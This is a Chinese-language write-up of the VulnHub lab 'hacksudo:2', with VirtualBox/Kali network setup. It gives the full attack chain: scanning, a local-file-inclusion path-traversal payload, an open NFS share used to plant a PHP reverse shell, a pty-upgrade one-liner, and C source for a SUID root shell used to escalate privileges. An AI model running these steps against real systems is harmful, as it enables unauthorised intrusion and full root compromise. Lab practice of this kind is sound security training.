hacksudo:2 (HackDudo) vulnhub靶场(NFS,vbox靶场环境配置)

kali1攻击机ip:192.168.181.129
kali2攻击机ip:192.168.56.107

靶场及kali网络配置

需要把靶机导入vbox才能有ip

下载地址: vbox下载

我的虚拟机原本配置是:kali机仅开启一个网络适配器,eth0,为nat模式,而且设置了静态ip

在hackable1中,我修改了网络配置
虚拟网络编辑器设置如下

在这里插入图片描述

kali再添加一个网络适配器,eth1,并设置为桥接模式

在这里插入图片描述

vbox靶机网络配置如下

在这里插入图片描述

这样一来,靶机就有一个ip了

在这里插入图片描述

kali的eth1和靶机eth0就在同一个网络了,可以互相通信

这样配置短时间可以,但是后面我发现,把kali挂起了一个晚上,第二天恢复状态后发现我的静态ip被修改了,不知道是不是因为多了个网络适配器的原因

而且如果要反弹shell,监听端口开启是在kali默认的eth0端口上,两个eth0的ip不在同一个网络中,因为网络隔离的存在,一般情况下无法连接成功(反正我不会搞)

所以在打hackable2的过程中,使用原kali打了一半之后,最后还是选择再安装一个kali2=_=

所以我推荐之间在一开始就把kali网络配置好,我的配置如下,仅供参考

靶机和虚拟网络编辑器的配置和上述一致
kali2配置,nat模式使用dhcp分配ip,具体ip信息文章里有介绍

在这里插入图片描述

在这里插入图片描述

好了,配置部分结束,开始打靶机

靶场通关

这部分是使用的是原kali

主机发现,指定网卡扫描

arp-scan -I eth1 -l

在这里插入图片描述

端口扫描

nmap -sS -p- -T5 -A 192.168.56.105

开启了80端口http服务,1337ssh服务,2049nfs服务;

在这里插入图片描述

目录扫描

 dirb http://192.168.56.105 

在这里插入图片描述

上面的文件我全翻了一遍,有图片有歌,就是没啥有用的

加上后缀再扫一次

 dirb http://192.168.56.105 -X .txt,.php

扫出来一个file.php

在这里插入图片描述

上面飘着一行字,显示有文件包含,很可能就是这个url跟着某个参数

在这里插入图片描述

wfuzz探测一下

wfuzz  --hw 14  -w /home/user/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt   -u http://192.168.56.105/file.php?FUZZ

啥也没有,而且全返回200,证明很大可能单FUZZ一个参数回显没有变化,需要包含一个正确文件返回才能有不同回显

在这里插入图片描述

尝试包含一个存在的文件

wfuzz  --hw 14  -w /home/user/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt   -u http://192.168.56.105/file.php?FUZZ=../.
./../etc/passwd

成功测试出参数file

在这里插入图片描述

有文件包含漏洞了,现在需要找一个上传文件的地方

nmap扫出来靶机开启了nfs

NFS

NFS是一种基于TCP/IP 传输的网络文件系统协议。通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源
在Centos 7系统中,需要安装nfs-utils、 rpcbind
软件包来提供NFS共享服务,前者用于NFS共享发布和访问,后者用于RPC支持。
NFS服务器可以让PC将网络中的NFS服务器共享的目录挂载到本地端的文件系统中,而在本地端的系统中来看,那个远程主机的目录就好像是自己的一个磁盘分区

查看服务器发布的NFS共享目录

showmount -e 192.168.56.105

在这里插入图片描述

/将NFS服务端192.168.56.105下的共享目录/mnt/nfs挂载到本机的nfs下

mount -t nfs 192.168.56.105:/mnt/nfs ./nfs

在这里插入图片描述

进入nfs目录就能查看共享目录里发布的文件了

在这里插入图片描述

尝试上传反弹shell,这里我使用的是msf生成的反弹shell

cp /home/user/myshell/shell.php  ./shell.php

在这里插入图片描述

赋予文件最高权限

chmod 777 shell.php

在这里插入图片描述

没成功,甚至一点反应都没有;

在这里插入图片描述
换个反弹shell脚本试试,使用kali自带的反弹shell脚本

cp /usr/share/webshells/php/php-reverse-shell.php  ./shell.php

在这里插入图片描述

这里要修改为kali的ip和nc监听的端口

在这里插入图片描述

在这里插入图片描述

不然就会出现这个报错

WARNING: Failed to daemonise. This is quite common and not fatal.Connection refused (111)

在这里插入图片描述

还是不行,原来是因为kali和靶机不在同一个网络里面;

路由器具有防火墙,会阻止所有传入连接(但是听说可以启用转发,不知道仅主机模式可不可以,我现在还搞不定,先放一放),我真是把所有坑踩了个遍=_=

在这里插入图片描述

最后没办法了,我就重新弄了一台kali的虚拟机(kali2),eth0为桥接网卡,这样默认ip就是192.168.56.0/24网段的了

(要是网卡没有ip可以试试执行/sbin/dhclient

在这里插入图片描述

在kali2里面打开nc监听

在这里插入图片描述

浏览器重新访问 http://192.168.56.105/file.php?file=../../../../mnt/nfs/shell.php

终于连上了

在这里插入图片描述

弄个回显 python3 -c 'import pty;pty.spawn("/bin/bash")'\;

在这里插入图片描述

既然可以上传文件,那我们直接上传提权文件就好了

写一个c语言提权脚本

#include<stdlib.h>
#include<unistd.h>

int main()
{
setuid(0);
system("id");
system("/bin/bash");
}

在这里插入图片描述

编译

 gcc getroot.c -o getroot

在这里插入图片描述

chmod 777 getroot

在这里插入图片描述

加上suid权限

chmod +s getroot 

在这里插入图片描述

进入/mnt/nfs目录./getroot执行提权代码

成功提权,得到flag

在这里插入图片描述

o了 😃

插播一个题外话,我的提权文件如果在kali的环境编译,到靶机里面执行是会报错的

version `GLIBC_2.34‘ not found

在这里插入图片描述
大概就是因为我的kali太新了,libc版本过高,靶机运行不了

我的解决办法非常简单粗暴,就是安装一个低版本的ubuntu虚拟机(我用的是ubuntu16.04)专门用来编译低版本的.c文件,编译好了就开启http服务下载到kali。

有点麻烦,但是没办法,网上的教程太复杂了:-(

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值